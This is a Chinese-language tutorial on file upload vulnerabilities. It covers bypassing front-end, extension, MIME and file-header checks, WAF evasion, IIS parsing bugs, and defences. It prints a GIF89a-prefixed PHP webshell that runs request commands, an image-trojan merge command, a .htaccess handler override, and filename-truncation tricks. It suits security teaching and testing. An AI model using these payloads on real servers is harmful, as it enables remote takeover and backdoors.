浅谈权限获取方法之文件上传
字数 1609 2025-08-12 11:33:43
文件上传漏洞全面解析与绕过技术
1. 文件上传漏洞概述
文件上传漏洞发生在具有上传功能的应用程序中,当应用程序对用户上传的文件缺乏有效控制或存在缺陷时,攻击者可以上传恶意文件(如木马、病毒)到服务器,从而控制服务器。
漏洞危害
- 网页篡改
- 网站被挂马
- 服务器被远程控制
- 服务器被安装后门
2. 漏洞成因
主要原因是应用程序对上传文件没有进行严格的合法性检验,或检验函数存在缺陷。
3. 验证方式及绕过技术
3.1 本地验证(前端JS验证)
判断方法:
- 上传时抓包观察是否有数据流
- 上传图片后是否显示图片地址
绕过方法:
- 删除前端过滤代码
- 修改JS代码
- 禁用JavaScript
3.2 后端验证及绕过
3.2.1 后缀名验证
黑名单绕过(明确不允许上传的脚本格式后缀):
- 使用其他格式:php5、phtml、php3等
- 大小写混合:PhP、pHp等
- 添加干扰符号
.htaccess文件利用(仅Apache且开启伪静态模块):
- 上传.htaccess文件
- 上传图片马
- .htaccess内容示例:
AddType application/x-httpd-php .jpg
其他后缀名绕过技术:
- 空格绕过:
filename.php - 点号绕过:
filename.php. ::$DATA绕过(Windows特有):filename.php::$DATA- 循环过滤绕过:如
a.pphphp会被过滤为a.
白名单绕过(明确允许上传的格式后缀):
- %00截断(PHP<5.3.4):
- 将路径改为
test.php%00aaa - 将文件改为
1.jpg - 对%00进行URL编码
- 将路径改为
3.2.2 文件类型验证
文件头检测绕过:
- 在木马文件头部添加图片文件头:
- JPEG:
0xFFD8FF - PNG:
0x89504E470D0A1A0A - GIF:
GIF89a
- JPEG:
示例:
GIF89a
<?php echo`$_REQUEST[cmd]`; ?>
制作图片马:
- 直接在图片中插入一句话木马
- 使用CMD命令合并图片与木马:
copy 1.jpg/b + a.txt test.php
Content-Type检测绕过:
- 修改Content-Type为允许的类型:
- image/pjpeg
- image/jpeg
- image/gif
- image/png
3.2.3 其他绕过技术
条件竞争:
- 上传有写文件功能的木马
- 在服务器删除前不断访问该文件
- 利用时间差写入新的木马
目录命名绕过:
- 添加
/.后缀使服务器识别为文件夹:x.php/.
4. 中间件解析漏洞
IIS 6.0+解析漏洞
判断方法:
访问/.php查看是否有乱码
利用方式:
- 文件夹形式:
image.asp/aa.jpg(aa.jpg被当作asp解析) - 文件形式:
image.asp;.jpg或xxx.asp;xxx.jpg(被当作asp执行)
5. WAF绕过技术
可修改参数
- Content-Disposition:可修改
- name:表单参数值,不可修改
- filename:文件名,可修改
- Content-Type:视情况更改
具体绕过方法
数据溢出:
- 添加大量垃圾数据超过WAF检测上限
- 示例:在参数后添加
;和垃圾数据
符号变异:
- 修改符号:
x.jpg;.php - 分号表示数据结束
数据截断:
- 添加%00:
x.php%00.jpg - 换行:
x.\np\nh\np
重复数据:
- 多次重复参数名
6. 防御措施
- 部署安全产品:宝塔、WAF等
- 对上传内容进行多次严格校验
- 对文件内容进行完整性检测
- 使用白名单而非黑名单
- 限制上传文件大小
- 重命名上传文件
- 存储上传文件在非Web目录
- 定期更新系统和中间件补丁
7. 相关CVE漏洞
- CVE-2017-12615
- CVE-2015-5254
- CVE-2019-2618
(注:具体利用方法需查阅相关资料)
这份文档全面涵盖了文件上传漏洞的各类验证方式、绕过技术及防御措施,可作为安全研究和防御的参考指南。实际应用中请遵守法律法规,仅用于授权测试和安全研究目的。